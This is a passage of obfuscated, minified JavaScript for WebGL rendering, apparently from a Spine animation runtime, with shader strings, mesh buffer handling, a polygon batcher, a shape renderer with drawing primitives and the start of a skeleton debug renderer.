'\x0a\x09\x09\x09\x09#ifdef\x20GL_ES\x0a\x09\x09\x09\x09\x09#define\x20LOWP\x20lowp\x0a\x09\x09\x09\x09\x09precision\x20mediump\x20float;\x0a\x09\x09\x09\x09#else\x0a\x09\x09\x09\x09\x09#define\x20LOWP\x0a\x09\x09\x09\x09#endif\x0a\x09\x09\x09\x09varying\x20LOWP\x20vec4\x20v_light;\x0a\x09\x09\x09\x09varying\x20LOWP\x20vec4\x20v_dark;\x0a\x09\x09\x09\x09varying\x20vec2\x20v_texCoords;\x0a\x09\x09\x09\x09uniform\x20sampler2D\x20u_texture;\x0a\x0a\x09\x09\x09\x09void\x20main\x20()\x20{\x0a\x09\x09\x09\x09\x09vec4\x20texColor\x20=\x20texture2D(u_texture,\x20v_texCoords);\x0a\x09\x09\x09\x09\x09gl_FragColor.a\x20=\x20texColor.a\x20*\x20v_light.a;\x0a\x09\x09\x09\x09\x09gl_FragColor.rgb\x20=\x20((texColor.a\x20-\x201.0)\x20*\x20v_dark.a\x20+\x201.0\x20-\x20texColor.rgb)\x20*\x20v_dark.rgb\x20+\x20texColor.rgb\x20*\x20v_light.rgb;\x0a\x09\x09\x09\x09}\x0a\x09\x09\x09'); } static ['newColored'](_0x14351c) { let _0xbd2972 = '\x0a\x09\x09\x09\x09attribute\x20vec4\x20' + _0x38609a['POSITION'] + ';\x0a\x09\x09\x09\x09attribute\x20vec4\x20' + _0x38609a['COLOR'] + ';\x0a\x09\x09\x09\x09uniform\x20mat4\x20' + _0x38609a['MVP_MATRIX'] + ';\x0a\x09\x09\x09\x09varying\x20vec4\x20v_color;\x0a\x0a\x09\x09\x09\x09void\x20main\x20()\x20{\x0a\x09\x09\x09\x09\x09v_color\x20=\x20' + _0x38609a['COLOR'] + ';\x0a\x09\x09\x09\x09\x09gl_Position\x20=\x20' + _0x38609a['MVP_MATRIX'] + '\x20*\x20' + _0x38609a['POSITION'] + ';\x0a\x09\x09\x09\x09}\x0a\x09\x09\x09'; return new _0x38609a(_0x14351c, _0xbd2972, '\x0a\x09\x09\x09\x09#ifdef\x20GL_ES\x0a\x09\x09\x09\x09\x09#define\x20LOWP\x20lowp\x0a\x09\x09\x09\x09\x09precision\x20mediump\x20float;\x0a\x09\x09\x09\x09#else\x0a\x09\x09\x09\x09\x09#define\x20LOWP\x0a\x09\x09\x09\x09#endif\x0a\x09\x09\x09\x09varying\x20LOWP\x20vec4\x20v_color;\x0a\x0a\x09\x09\x09\x09void\x20main\x20()\x20{\x0a\x09\x09\x09\x09\x09gl_FragColor\x20=\x20v_color;\x0a\x09\x09\x09\x09}\x0a\x09\x09\x09'); } }, _0x5e5d4e = _0x38609a; _0x5e5d4e['MVP_MATRIX'] = 'u_projTrans', _0x5e5d4e['POSITION'] = 'a_position', _0x5e5d4e['COLOR'] = 'a_color', _0x5e5d4e['COLOR2'] = 'a_color2', _0x5e5d4e['TEXCOORDS'] = 'a_texCoords', _0x5e5d4e['SAMPLER'] = 'u_texture'; var _0xff327e = class { constructor(_0x4d5fc9, _0x140920, _0x4c1d51, _0xf837c1) { this['attributes'] = _0x140920, this['verticesBuffer'] = null, this['verticesLength'] = 0x0, this['dirtyVertices'] = !0x1, this['indicesBuffer'] = null, this['indicesLength'] = 0x0, this['dirtyIndices'] = !0x1, this['elementsPerVertex'] = 0x0, this['context'] = _0x4d5fc9 instanceof _0x48af2d ? _0x4d5fc9 : new _0x48af2d(_0x4d5fc9), this['elementsPerVertex'] = 0x0; for (let _0x16b595 = 0x0; _0x16b595 < _0x140920['length']; _0x16b595++)this['elementsPerVertex'] += _0x140920[_0x16b595]['numElements']; this['vertices'] = new Float32Array(_0x4c1d51 * this['elementsPerVertex']), this['indices'] = new Uint16Array(_0xf837c1), this['context']['addRestorable'](this); } ['getAttributes']() { return this['attributes']; } ['maxVertices']() { return this['vertices']['length'] / this['elementsPerVertex']; } ['numVertices']() { return this['verticesLength'] / this['elementsPerVertex']; } ['setVerticesLength'](_0x15e0a6) { this['dirtyVertices'] = !0x0, this['verticesLength'] = _0x15e0a6; } ['getVertices']() { return this['vertices']; } ['maxIndices']() { return this['indices']['length']; } ['numIndices']() { return this['indicesLength']; } ['setIndicesLength'](_0xedd13b) { this['dirtyIndices'] = !0x0, this['indicesLength'] = _0xedd13b; } ['getIndices']() { return this['indices']; } ['getVertexSizeInFloats']() { let _0x2b8d4b = 0x0; for (var _0x219b2a = 0x0; _0x219b2a < this['attributes']['length']; _0x219b2a++) { _0x2b8d4b += this['attributes'][_0x219b2a]['numElements']; } return _0x2b8d4b; } ['setVertices'](_0x1129b8) { if (this['dirtyVertices'] = !0x0, _0x1129b8['length'] > this['vertices']['length']) throw Error('Mesh\x20can\x27t\x20store\x20more\x20than\x20' + this['maxVertices']() + '\x20vertices'); this['vertices']['set'](_0x1129b8, 0x0), this['verticesLength'] = _0x1129b8['length']; } ['setIndices'](_0x241dc5) { if (this['dirtyIndices'] = !0x0, _0x241dc5['length'] > this['indices']['length']) throw Error('Mesh\x20can\x27t\x20store\x20more\x20than\x20' + this['maxIndices']() + '\x20indices'); this['indices']['set'](_0x241dc5, 0x0), this['indicesLength'] = _0x241dc5['length']; } ['draw'](_0x59ded1, _0x1793f1) { this['drawWithOffset'](_0x59ded1, _0x1793f1, 0x0, this['indicesLength'] > 0x0 ? this['indicesLength'] : this['verticesLength'] / this['elementsPerVertex']); } ['drawWithOffset'](_0x48b0df, _0x49acf4, _0x1f70fc, _0x508401) { let _0x3f2484 = this['context']['gl']; (this['dirtyVertices'] || this['dirtyIndices']) && this['update'](), this['bind'](_0x48b0df), this['indicesLength'] > 0x0 ? _0x3f2484['drawElements'](_0x49acf4, _0x508401, _0x3f2484['UNSIGNED_SHORT'], 0x2 * _0x1f70fc) : _0x3f2484['drawArrays'](_0x49acf4, _0x1f70fc, _0x508401), this['unbind'](_0x48b0df); } ['bind'](_0x1b1e97) { let _0x210dec = this['context']['gl']; _0x210dec['bindBuffer'](_0x210dec['ARRAY_BUFFER'], this['verticesBuffer']); let _0x4c2586 = 0x0; for (let _0x461921 = 0x0; _0x461921 < this['attributes']['length']; _0x461921++) { let _0xf72193 = this['attributes'][_0x461921], _0x1f18de = _0x1b1e97['getAttributeLocation'](_0xf72193['name']); _0x210dec['enableVertexAttribArray'](_0x1f18de), _0x210dec['vertexAttribPointer'](_0x1f18de, _0xf72193['numElements'], _0x210dec['FLOAT'], !0x1, 0x4 * this['elementsPerVertex'], 0x4 * _0x4c2586), _0x4c2586 += _0xf72193['numElements']; } this['indicesLength'] > 0x0 && _0x210dec['bindBuffer'](_0x210dec['ELEMENT_ARRAY_BUFFER'], this['indicesBuffer']); } ['unbind'](_0x1b0a23) { let _0x589a1c = this['context']['gl']; for (let _0x31def8 = 0x0; _0x31def8 < this['attributes']['length']; _0x31def8++) { let _0x136f20 = this['attributes'][_0x31def8], _0x29c8cc = _0x1b0a23['getAttributeLocation'](_0x136f20['name']); _0x589a1c['disableVertexAttribArray'](_0x29c8cc); } _0x589a1c['bindBuffer'](_0x589a1c['ARRAY_BUFFER'], null), this['indicesLength'] > 0x0 && _0x589a1c['bindBuffer'](_0x589a1c['ELEMENT_ARRAY_BUFFER'], null); } ['update']() { let _0x36c679 = this['context']['gl']; this['dirtyVertices'] && (this['verticesBuffer'] || (this['verticesBuffer'] = _0x36c679['createBuffer']()), _0x36c679['bindBuffer'](_0x36c679['ARRAY_BUFFER'], this['verticesBuffer']), _0x36c679['bufferData'](_0x36c679['ARRAY_BUFFER'], this['vertices']['subarray'](0x0, this['verticesLength']), _0x36c679['DYNAMIC_DRAW']), this['dirtyVertices'] = !0x1), this['dirtyIndices'] && (this['indicesBuffer'] || (this['indicesBuffer'] = _0x36c679['createBuffer']()), _0x36c679['bindBuffer'](_0x36c679['ELEMENT_ARRAY_BUFFER'], this['indicesBuffer']), _0x36c679['bufferData'](_0x36c679['ELEMENT_ARRAY_BUFFER'], this['indices']['subarray'](0x0, this['indicesLength']), _0x36c679['DYNAMIC_DRAW']), this['dirtyIndices'] = !0x1); } ['restore']() { this['verticesBuffer'] = null, this['indicesBuffer'] = null, this['update'](); } ['dispose']() { this['context']['removeRestorable'](this); let _0x5bf85c = this['context']['gl']; _0x5bf85c['deleteBuffer'](this['verticesBuffer']), _0x5bf85c['deleteBuffer'](this['indicesBuffer']); } }, _0x5b6bac = class { constructor(_0x22500b, _0x30498f, _0x3eb907) { this['name'] = _0x22500b, this['type'] = _0x30498f, this['numElements'] = _0x3eb907; } }, _0x176d71 = class extends _0x5b6bac { constructor() { super(_0x5e5d4e['POSITION'], _0x59a5cc['Float'], 0x2); } }, _0x2e068b = class extends _0x5b6bac { constructor() { super(_0x5e5d4e['POSITION'], _0x59a5cc['Float'], 0x3); } }, _0x563a5a = class extends _0x5b6bac { constructor(_0x7e7d16 = 0x0) { super(_0x5e5d4e['TEXCOORDS'] + (0x0 == _0x7e7d16 ? '' : _0x7e7d16), _0x59a5cc['Float'], 0x2); } }, _0x78450f = class extends _0x5b6bac { constructor() { super(_0x5e5d4e['COLOR'], _0x59a5cc['Float'], 0x4); } }, _0x65274c = class extends _0x5b6bac { constructor() { super(_0x5e5d4e['COLOR2'], _0x59a5cc['Float'], 0x4); } }, _0x59a5cc = (_0x39cfa8 => (_0x39cfa8[_0x39cfa8['Float'] = 0x0] = 'Float', _0x39cfa8))(_0x59a5cc || {}), _0x3119d5 = class { constructor(_0x458072, _0x564be9 = !0x0, _0x2fa616 = 0x2aa8) { if (this['drawCalls'] = 0x0, this['isDrawing'] = !0x1, this['shader'] = null, this['lastTexture'] = null, this['verticesLength'] = 0x0, this['indicesLength'] = 0x0, this['cullWasEnabled'] = !0x1, _0x2fa616 > 0x2aa8) throw new Error('Can\x27t\x20have\x20more\x20than\x2010920\x20triangles\x20per\x20batch:\x20' + _0x2fa616); this['context'] = _0x458072 instanceof _0x48af2d ? _0x458072 : new _0x48af2d(_0x458072); let _0x4abfe2 = _0x564be9 ? [new _0x176d71(), new _0x78450f(), new _0x563a5a(), new _0x65274c()] : [new _0x176d71(), new _0x78450f(), new _0x563a5a()]; this['mesh'] = new _0xff327e(_0x458072, _0x4abfe2, _0x2fa616, 0x3 * _0x2fa616); let _0x2867cb = this['context']['gl']; this['srcColorBlend'] = _0x2867cb['SRC_ALPHA'], this['srcAlphaBlend'] = _0x2867cb['ONE'], this['dstBlend'] = _0x2867cb['ONE_MINUS_SRC_ALPHA']; } ['begin'](_0x28176b) { if (this['isDrawing']) throw new Error('PolygonBatch\x20is\x20already\x20drawing.\x20Call\x20PolygonBatch.end()\x20before\x20calling\x20PolygonBatch.begin()'); this['drawCalls'] = 0x0, this['shader'] = _0x28176b, this['lastTexture'] = null, this['isDrawing'] = !0x0; let _0x1f44a7 = this['context']['gl']; _0x1f44a7['enable'](_0x1f44a7['BLEND']), _0x1f44a7['blendFuncSeparate'](this['srcColorBlend'], this['dstBlend'], this['srcAlphaBlend'], this['dstBlend']), this['cullWasEnabled'] = _0x1f44a7['isEnabled'](_0x1f44a7['CULL_FACE']), this['cullWasEnabled'] && _0x1f44a7['disable'](_0x1f44a7['CULL_FACE']); } ['setBlendMode'](_0x25d475, _0x53727b, _0x2944d1) { (this['srcColorBlend'] != _0x25d475 || this['srcAlphaBlend'] != _0x53727b || this['dstBlend'] != _0x2944d1) && (this['srcColorBlend'] = _0x25d475, this['srcAlphaBlend'] = _0x53727b, this['dstBlend'] = _0x2944d1, this['isDrawing']) && (this['flush'](), this['context']['gl']['blendFuncSeparate'](_0x25d475, _0x2944d1, _0x53727b, _0x2944d1)); } ['draw'](_0x1dc75b, _0x3b51f3, _0x2d01e3) { _0x1dc75b != this['lastTexture'] ? (this['flush'](), this['lastTexture'] = _0x1dc75b) : (this['verticesLength'] + _0x3b51f3['length'] > this['mesh']['getVertices']()['length'] || this['indicesLength'] + _0x2d01e3['length'] > this['mesh']['getIndices']()['length']) && this['flush'](); let _0x180f61 = this['mesh']['numVertices'](); this['mesh']['getVertices']()['set'](_0x3b51f3, this['verticesLength']), this['verticesLength'] += _0x3b51f3['length'], this['mesh']['setVerticesLength'](this['verticesLength']); let _0x4b75b4 = this['mesh']['getIndices'](); for (let _0x5bb766 = this['indicesLength'], _0x405933 = 0x0; _0x405933 < _0x2d01e3['length']; _0x5bb766++, _0x405933++)_0x4b75b4[_0x5bb766] = _0x2d01e3[_0x405933] + _0x180f61; this['indicesLength'] += _0x2d01e3['length'], this['mesh']['setIndicesLength'](this['indicesLength']); } ['flush']() { if (0x0 != this['verticesLength']) { if (!this['lastTexture']) throw new Error('No\x20texture\x20set.'); if (!this['shader']) throw new Error('No\x20shader\x20set.'); this['lastTexture']['bind'](), this['mesh']['draw'](this['shader'], this['context']['gl']['TRIANGLES']), this['verticesLength'] = 0x0, this['indicesLength'] = 0x0, this['mesh']['setVerticesLength'](0x0), this['mesh']['setIndicesLength'](0x0), this['drawCalls']++, _0x3119d5['globalDrawCalls']++; } } ['end']() { if (!this['isDrawing']) throw new Error('PolygonBatch\x20is\x20not\x20drawing.\x20Call\x20PolygonBatch.begin()\x20before\x20calling\x20PolygonBatch.end()'); (this['verticesLength'] > 0x0 || this['indicesLength'] > 0x0) && this['flush'](), this['shader'] = null, this['lastTexture'] = null, this['isDrawing'] = !0x1; let _0x225c80 = this['context']['gl']; _0x225c80['disable'](_0x225c80['BLEND']), this['cullWasEnabled'] && _0x225c80['enable'](_0x225c80['CULL_FACE']); } ['getDrawCalls']() { return this['drawCalls']; } static ['getAndResetGlobalDrawCalls']() { let _0x227604 = _0x3119d5['globalDrawCalls']; return _0x3119d5['globalDrawCalls'] = 0x0, _0x227604; } ['dispose']() { this['mesh']['dispose'](); } }, _0x190e91 = _0x3119d5; _0x190e91['globalDrawCalls'] = 0x0; var _0x5a2c10 = class { constructor(_0x436b61, _0x3f6bab = 0x2aa8) { if (this['isDrawing'] = !0x1, this['shapeType'] = _0x3e0251['Filled'], this['color'] = new _0x1acaf1(0x1, 0x1, 0x1, 0x1), this['shader'] = null, this['vertexIndex'] = 0x0, this['tmp'] = new _0x6ada3(), _0x3f6bab > 0x2aa8) throw new Error('Can\x27t\x20have\x20more\x20than\x2010920\x20triangles\x20per\x20batch:\x20' + _0x3f6bab); this['context'] = _0x436b61 instanceof _0x48af2d ? _0x436b61 : new _0x48af2d(_0x436b61), this['mesh'] = new _0xff327e(_0x436b61, [new _0x176d71(), new _0x78450f()], _0x3f6bab, 0x0); let _0x82c26a = this['context']['gl']; this['srcColorBlend'] = _0x82c26a['SRC_ALPHA'], this['srcAlphaBlend'] = _0x82c26a['ONE'], this['dstBlend'] = _0x82c26a['ONE_MINUS_SRC_ALPHA']; } ['begin'](_0x196fbb) { if (this['isDrawing']) throw new Error('ShapeRenderer.begin()\x20has\x20already\x20been\x20called'); this['shader'] = _0x196fbb, this['vertexIndex'] = 0x0, this['isDrawing'] = !0x0; let _0x12edbf = this['context']['gl']; _0x12edbf['enable'](_0x12edbf['BLEND']), _0x12edbf['blendFuncSeparate'](this['srcColorBlend'], this['dstBlend'], this['srcAlphaBlend'], this['dstBlend']); } ['setBlendMode'](_0x127983, _0x10a4ff, _0x17dfae) { (this['srcColorBlend'] = _0x127983, this['srcAlphaBlend'] = _0x10a4ff, this['dstBlend'] = _0x17dfae, this['isDrawing']) && (this['flush'](), this['context']['gl']['blendFuncSeparate'](_0x127983, _0x17dfae, _0x10a4ff, _0x17dfae)); } ['setColor'](_0x2ebc3c) { this['color']['setFromColor'](_0x2ebc3c); } ['setColorWith'](_0x45393b, _0x5874ca, _0x25f7ca, _0x443d32) { this['color']['set'](_0x45393b, _0x5874ca, _0x25f7ca, _0x443d32); } ['point'](_0x1bc9aa, _0x390824, _0x431b38) { this['check'](_0x3e0251['Point'], 0x1), _0x431b38 || (_0x431b38 = this['color']), this['vertex'](_0x1bc9aa, _0x390824, _0x431b38); } ['line'](_0x231e9a, _0x6701af, _0x52a532, _0x16621f, _0x33847a) { this['check'](_0x3e0251['Line'], 0x2), (this['mesh']['getVertices'](), this['vertexIndex']), (_0x33847a || (_0x33847a = this['color']), this['vertex'](_0x231e9a, _0x6701af, _0x33847a), this['vertex'](_0x52a532, _0x16621f, _0x33847a)); } ['triangle'](_0x16aaed, _0x4862c3, _0x5a5f94, _0x59c8a5, _0xf7110e, _0x44ae21, _0x33e1b2, _0x3a5c3c, _0x4514e8, _0xd21ed0) { this['check'](_0x16aaed ? _0x3e0251['Filled'] : _0x3e0251['Line'], 0x3), (this['mesh']['getVertices'](), this['vertexIndex']), (_0x3a5c3c || (_0x3a5c3c = this['color']), _0x4514e8 || (_0x4514e8 = this['color']), _0xd21ed0 || (_0xd21ed0 = this['color']), _0x16aaed ? (this['vertex'](_0x4862c3, _0x5a5f94, _0x3a5c3c), this['vertex'](_0x59c8a5, _0xf7110e, _0x4514e8), this['vertex'](_0x44ae21, _0x33e1b2, _0xd21ed0)) : (this['vertex'](_0x4862c3, _0x5a5f94, _0x3a5c3c), this['vertex'](_0x59c8a5, _0xf7110e, _0x4514e8), this['vertex'](_0x59c8a5, _0xf7110e, _0x3a5c3c), this['vertex'](_0x44ae21, _0x33e1b2, _0x4514e8), this['vertex'](_0x44ae21, _0x33e1b2, _0x3a5c3c), this['vertex'](_0x4862c3, _0x5a5f94, _0x4514e8))); } ['quad'](_0x33ba8d, _0x2b2301, _0x27494b, _0x105e4d, _0x2682ab, _0xe6db7d, _0x238481, _0x1c97b8, _0x59db1c, _0x4f976d, _0xa0179f, _0x495872, _0x27ef39) { this['check'](_0x33ba8d ? _0x3e0251['Filled'] : _0x3e0251['Line'], 0x3), (this['mesh']['getVertices'](), this['vertexIndex']), (_0x4f976d || (_0x4f976d = this['color']), _0xa0179f || (_0xa0179f = this['color']), _0x495872 || (_0x495872 = this['color']), _0x27ef39 || (_0x27ef39 = this['color']), _0x33ba8d ? (this['vertex'](_0x2b2301, _0x27494b, _0x4f976d), this['vertex'](_0x105e4d, _0x2682ab, _0xa0179f), this['vertex'](_0xe6db7d, _0x238481, _0x495872), this['vertex'](_0xe6db7d, _0x238481, _0x495872), this['vertex'](_0x1c97b8, _0x59db1c, _0x27ef39), this['vertex'](_0x2b2301, _0x27494b, _0x4f976d)) : (this['vertex'](_0x2b2301, _0x27494b, _0x4f976d), this['vertex'](_0x105e4d, _0x2682ab, _0xa0179f), this['vertex'](_0x105e4d, _0x2682ab, _0xa0179f), this['vertex'](_0xe6db7d, _0x238481, _0x495872), this['vertex'](_0xe6db7d, _0x238481, _0x495872), this['vertex'](_0x1c97b8, _0x59db1c, _0x27ef39), this['vertex'](_0x1c97b8, _0x59db1c, _0x27ef39), this['vertex'](_0x2b2301, _0x27494b, _0x4f976d))); } ['rect'](_0x2e2881, _0x2cbeac, _0xd1fe6b, _0x5e7c6f, _0x227549, _0x39321a) { this['quad'](_0x2e2881, _0x2cbeac, _0xd1fe6b, _0x2cbeac + _0x5e7c6f, _0xd1fe6b, _0x2cbeac + _0x5e7c6f, _0xd1fe6b + _0x227549, _0x2cbeac, _0xd1fe6b + _0x227549, _0x39321a, _0x39321a, _0x39321a, _0x39321a); } ['rectLine'](_0x123964, _0x39a3b7, _0x54703c, _0xb54562, _0x310f8e, _0x101842, _0x3dba11) { this['check'](_0x123964 ? _0x3e0251['Filled'] : _0x3e0251['Line'], 0x8), _0x3dba11 || (_0x3dba11 = this['color']); let _0x1ceb7c = this['tmp']['set'](_0x310f8e - _0x54703c, _0x39a3b7 - _0xb54562); _0x1ceb7c['normalize'](), _0x101842 *= 0.5; let _0x35259f = _0x1ceb7c['x'] * _0x101842, _0xb99dee = _0x1ceb7c['y'] * _0x101842; _0x123964 ? (this['vertex'](_0x39a3b7 + _0x35259f, _0x54703c + _0xb99dee, _0x3dba11), this['vertex'](_0x39a3b7 - _0x35259f, _0x54703c - _0xb99dee, _0x3dba11), this['vertex'](_0xb54562 + _0x35259f, _0x310f8e + _0xb99dee, _0x3dba11), this['vertex'](_0xb54562 - _0x35259f, _0x310f8e - _0xb99dee, _0x3dba11), this['vertex'](_0xb54562 + _0x35259f, _0x310f8e + _0xb99dee, _0x3dba11), this['vertex'](_0x39a3b7 - _0x35259f, _0x54703c - _0xb99dee, _0x3dba11)) : (this['vertex'](_0x39a3b7 + _0x35259f, _0x54703c + _0xb99dee, _0x3dba11), this['vertex'](_0x39a3b7 - _0x35259f, _0x54703c - _0xb99dee, _0x3dba11), this['vertex'](_0xb54562 + _0x35259f, _0x310f8e + _0xb99dee, _0x3dba11), this['vertex'](_0xb54562 - _0x35259f, _0x310f8e - _0xb99dee, _0x3dba11), this['vertex'](_0xb54562 + _0x35259f, _0x310f8e + _0xb99dee, _0x3dba11), this['vertex'](_0x39a3b7 + _0x35259f, _0x54703c + _0xb99dee, _0x3dba11), this['vertex'](_0xb54562 - _0x35259f, _0x310f8e - _0xb99dee, _0x3dba11), this['vertex'](_0x39a3b7 - _0x35259f, _0x54703c - _0xb99dee, _0x3dba11)); } ['x'](_0x5a26c2, _0xfccdc3, _0x286753) { this['line'](_0x5a26c2 - _0x286753, _0xfccdc3 - _0x286753, _0x5a26c2 + _0x286753, _0xfccdc3 + _0x286753), this['line'](_0x5a26c2 - _0x286753, _0xfccdc3 + _0x286753, _0x5a26c2 + _0x286753, _0xfccdc3 - _0x286753); } ['polygon'](_0xbc83e4, _0x300445, _0x12a19a, _0x5a2db2) { if (_0x12a19a < 0x3) throw new Error('Polygon\x20must\x20contain\x20at\x20least\x203\x20vertices'); this['check'](_0x3e0251['Line'], 0x2 * _0x12a19a), _0x5a2db2 || (_0x5a2db2 = this['color']), (this['mesh']['getVertices'](), this['vertexIndex']), _0x12a19a <<= 0x1; let _0x4e4a61 = _0xbc83e4[_0x300445 <<= 0x1], _0x3e8099 = _0xbc83e4[_0x300445 + 0x1], _0x204bff = _0x300445 + _0x12a19a; for (let _0xc0eded = _0x300445, _0x315685 = _0x300445 + _0x12a19a - 0x2; _0xc0eded < _0x315685; _0xc0eded += 0x2) { let _0x57d805 = _0xbc83e4[_0xc0eded], _0x24807f = _0xbc83e4[_0xc0eded + 0x1], _0x566d6c = 0x0, _0x1d2e49 = 0x0; _0xc0eded + 0x2 >= _0x204bff ? (_0x566d6c = _0x4e4a61, _0x1d2e49 = _0x3e8099) : (_0x566d6c = _0xbc83e4[_0xc0eded + 0x2], _0x1d2e49 = _0xbc83e4[_0xc0eded + 0x3]), this['vertex'](_0x57d805, _0x24807f, _0x5a2db2), this['vertex'](_0x566d6c, _0x1d2e49, _0x5a2db2); } } ['circle'](_0x4b2a0e, _0x58371d, _0x1ce870, _0x40c19e, _0x54c20d, _0x1ff7f4 = 0x0) { if (0x0 == _0x1ff7f4 && (_0x1ff7f4 = Math['max'](0x1, 0x6 * _0x19ba92['cbrt'](_0x40c19e) | 0x0)), _0x1ff7f4 <= 0x0) throw new Error('segments\x20must\x20be\x20>\x200.'); _0x54c20d || (_0x54c20d = this['color']); let _0x214fa4 = 0x2 * _0x19ba92['PI'] / _0x1ff7f4, _0x4a69a4 = Math['cos'](_0x214fa4), _0x5d3e4f = Math['sin'](_0x214fa4), _0x3b496b = _0x40c19e, _0x23cd91 = 0x0; if (_0x4b2a0e) { this['check'](_0x3e0251['Filled'], 0x3 * _0x1ff7f4 + 0x3), _0x1ff7f4--; for (let _0x2da874 = 0x0; _0x2da874 < _0x1ff7f4; _0x2da874++) { this['vertex'](_0x58371d, _0x1ce870, _0x54c20d), this['vertex'](_0x58371d + _0x3b496b, _0x1ce870 + _0x23cd91, _0x54c20d); let _0x5b860a = _0x3b496b; _0x3b496b = _0x4a69a4 * _0x3b496b - _0x5d3e4f * _0x23cd91, _0x23cd91 = _0x5d3e4f * _0x5b860a + _0x4a69a4 * _0x23cd91, this['vertex'](_0x58371d + _0x3b496b, _0x1ce870 + _0x23cd91, _0x54c20d); } this['vertex'](_0x58371d, _0x1ce870, _0x54c20d), this['vertex'](_0x58371d + _0x3b496b, _0x1ce870 + _0x23cd91, _0x54c20d); } else { this['check'](_0x3e0251['Line'], 0x2 * _0x1ff7f4 + 0x2); for (let _0x46a41b = 0x0; _0x46a41b < _0x1ff7f4; _0x46a41b++) { this['vertex'](_0x58371d + _0x3b496b, _0x1ce870 + _0x23cd91, _0x54c20d); let _0x51ca1e = _0x3b496b; _0x3b496b = _0x4a69a4 * _0x3b496b - _0x5d3e4f * _0x23cd91, _0x23cd91 = _0x5d3e4f * _0x51ca1e + _0x4a69a4 * _0x23cd91, this['vertex'](_0x58371d + _0x3b496b, _0x1ce870 + _0x23cd91, _0x54c20d); } this['vertex'](_0x58371d + _0x3b496b, _0x1ce870 + _0x23cd91, _0x54c20d); } _0x3b496b = _0x40c19e, _0x23cd91 = 0x0, this['vertex'](_0x58371d + _0x3b496b, _0x1ce870 + _0x23cd91, _0x54c20d); } ['curve'](_0x162dcf, _0x3dafbf, _0x6b0174, _0x499fcf, _0x2e4ac1, _0x585500, _0x12891e, _0x18de11, _0xbbdd85, _0x52f0c0) { this['check'](_0x3e0251['Line'], 0x2 * _0xbbdd85 + 0x2), _0x52f0c0 || (_0x52f0c0 = this['color']); let _0x24a7c8 = 0x1 / _0xbbdd85, _0x44bac0 = _0x24a7c8 * _0x24a7c8, _0xd2beb5 = _0x24a7c8 * _0x24a7c8 * _0x24a7c8, _0x1b7ff3 = 0x3 * _0x24a7c8, _0x42a271 = 0x3 * _0x44bac0, _0x5d68e1 = 0x6 * _0x44bac0, _0x3d6a81 = 0x6 * _0xd2beb5, _0x1cc2c4 = _0x162dcf - 0x2 * _0x6b0174 + _0x2e4ac1, _0x39c6dc = _0x3dafbf - 0x2 * _0x499fcf + _0x585500, _0x4f4306 = 0x3 * (_0x6b0174 - _0x2e4ac1) - _0x162dcf + _0x12891e, _0x2956a0 = 0x3 * (_0x499fcf - _0x585500) - _0x3dafbf + _0x18de11, _0xe2829e = _0x162dcf, _0x25e407 = _0x3dafbf, _0x198993 = (_0x6b0174 - _0x162dcf) * _0x1b7ff3 + _0x1cc2c4 * _0x42a271 + _0x4f4306 * _0xd2beb5, _0x31d9f7 = (_0x499fcf - _0x3dafbf) * _0x1b7ff3 + _0x39c6dc * _0x42a271 + _0x2956a0 * _0xd2beb5, _0x21f691 = _0x1cc2c4 * _0x5d68e1 + _0x4f4306 * _0x3d6a81, _0x58b751 = _0x39c6dc * _0x5d68e1 + _0x2956a0 * _0x3d6a81, _0x76cf7 = _0x4f4306 * _0x3d6a81, _0x3310e4 = _0x2956a0 * _0x3d6a81; for (; _0xbbdd85-- > 0x0;)this['vertex'](_0xe2829e, _0x25e407, _0x52f0c0), _0xe2829e += _0x198993, _0x25e407 += _0x31d9f7, _0x198993 += _0x21f691, _0x31d9f7 += _0x58b751, _0x21f691 += _0x76cf7, _0x58b751 += _0x3310e4, this['vertex'](_0xe2829e, _0x25e407, _0x52f0c0); this['vertex'](_0xe2829e, _0x25e407, _0x52f0c0), this['vertex'](_0x12891e, _0x18de11, _0x52f0c0); } ['vertex'](_0x2fe26e, _0x3087e8, _0x2d6b5f) { let _0x14c463 = this['vertexIndex'], _0x588fcf = this['mesh']['getVertices'](); _0x588fcf[_0x14c463++] = _0x2fe26e, _0x588fcf[_0x14c463++] = _0x3087e8, _0x588fcf[_0x14c463++] = _0x2d6b5f['r'], _0x588fcf[_0x14c463++] = _0x2d6b5f['g'], _0x588fcf[_0x14c463++] = _0x2d6b5f['b'], _0x588fcf[_0x14c463++] = _0x2d6b5f['a'], this['vertexIndex'] = _0x14c463; } ['end']() { if (!this['isDrawing']) throw new Error('ShapeRenderer.begin()\x20has\x20not\x20been\x20called'); this['flush'](); let _0x45ca23 = this['context']['gl']; _0x45ca23['disable'](_0x45ca23['BLEND']), this['isDrawing'] = !0x1; } ['flush']() { if (0x0 != this['vertexIndex']) { if (!this['shader']) throw new Error('No\x20shader\x20set.'); this['mesh']['setVerticesLength'](this['vertexIndex']), this['mesh']['draw'](this['shader'], this['shapeType']), this['vertexIndex'] = 0x0; } } ['check'](_0x3d7b12, _0x417693) { if (!this['isDrawing']) throw new Error('ShapeRenderer.begin()\x20has\x20not\x20been\x20called'); if (this['shapeType'] == _0x3d7b12) { if (!(this['mesh']['maxVertices']() - this['mesh']['numVertices']() < _0x417693)) return; this['flush'](); } else this['flush'](), this['shapeType'] = _0x3d7b12; } ['dispose']() { this['mesh']['dispose'](); } }, _0x3e0251 = (_0x11d2a4 => (_0x11d2a4[_0x11d2a4['Point'] = 0x0] = 'Point', _0x11d2a4[_0x11d2a4['Line'] = 0x1] = 'Line', _0x11d2a4[_0x11d2a4['Filled'] = 0x4] = 'Filled', _0x11d2a4))(_0x3e0251 || {}), _0x25ad8d = class { constructor(_0x22b07f) { this['boneLineColor'] = new _0x1acaf1(0x1, 0x0, 0x0, 0x1), this['boneOriginColor'] = new _0x1acaf1(0x0, 0x1, 0x0, 0x1), this['attachmentLineColor'] = new _0x1acaf1(0x0, 0x0, 0x1, 0.5), this['triangleLineColor'] = new _0x1acaf1(0x1, 0.64, 0x0, 0.5), this['pathColor'] = new _0x1acaf1()['setFromString']('FF7F00'), this['clipColor'] = new _0x1acaf1(0.8, 0x0, 0x0, 0x2), this['aabbColor'] = new _0x1acaf1(0x0, 0x1, 0x0, 0.5), this['drawBones'] = !0x0, this['drawRegionAttachments'] = !0x0, this['drawBoundingBoxes'] = !0x0, this['drawMeshHull'] = !0x0, this['drawMeshTriangles'] = !0x0, this['drawPaths'] = !0x0, this['drawSkeletonXY'] = !0x1, this['drawClipping'] = !0x0, this['premultipliedAlpha'] = !0x1, this['scale'] = 0x1, this['boneWidth'] = 0x2, this['bounds'] = new _0x313c2f(), this['temp'] = new Array(), this['vertices'] = _0x5bda80['newFloatArray'](0x800), 